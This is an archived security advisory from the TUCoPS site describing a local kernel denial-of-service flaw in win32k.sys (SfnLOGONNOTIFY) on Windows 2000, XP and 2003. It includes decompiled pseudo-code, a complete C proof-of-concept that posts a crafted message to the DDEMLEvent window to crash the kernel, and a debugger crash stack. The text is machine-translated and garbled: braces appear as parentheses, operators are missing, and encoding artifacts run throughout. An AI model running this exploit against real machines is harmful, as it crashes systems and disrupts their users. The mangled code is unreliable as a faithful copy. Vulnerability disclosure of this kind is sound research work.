Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Windows :: bt-30024.htm

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability



Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability



Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability =0D
=0D
Effect : Microsoft Windows 2000/XP/2003 full patch =0D
=0D
 =0D
Author:MJ0011=0D
Published: 2010-04-22=0D
=0D
=0D
Vulnerability Details: =0D
=0D
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some =0D
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 =0D
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 =0D
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to =0D
BSOD =0D
=0D
Pseudo-code: =0D
=0D
if (wParam == 4 | | wParam == 13 | | wParam == 12) =0D
( =0D
    v18 = * (_DWORD *) lParam; =0D
    v19 = * (_DWORD *) (lParam 4); =0D
    v20 = * (_DWORD *) (lParam 8); =0D
    v21 = * (_DWORD *) (lParam 12); =0D
=0D
Exploit code: =0D
=0D
# Include "stdafx.h" =0D
# Include "windows.h" =0D
int main (int argc, char * argv []) =0D
( =0D
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");=0D 
=0D
getchar();=0D
=0D
HWND hwnd = FindWindow ("DDEMLEvent", NULL); =0D
=0D
if (hwnd == 0) =0D
( =0D
   printf ("cannot find DDEMLEvent Window! \ n"); =0D
   return 0; =0D
) =0D
=0D
PostMessage (hwnd, 0x4c, 0x4, 0x80000000); =0D
=0D
=0D
return 0; =0D
) =0D
=0D
Common crash stack: =0D
=0D
kd> kc =0D
=0D
win32k! SfnLOGONNOTIFY =0D
win32k! xxxDefWindowProc =0D
win32k! xxxEventWndProc =0D
win32k! xxxDispatchMessage =0D
win32k! NtUserDispatchMessage =0D
.... =0D
=0D
Windows 7/Vista no such problem =0D
=0D
Thanks: =0D
=0D
Thanks to my colleagues LYL to help me discovered this vulnerability =0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH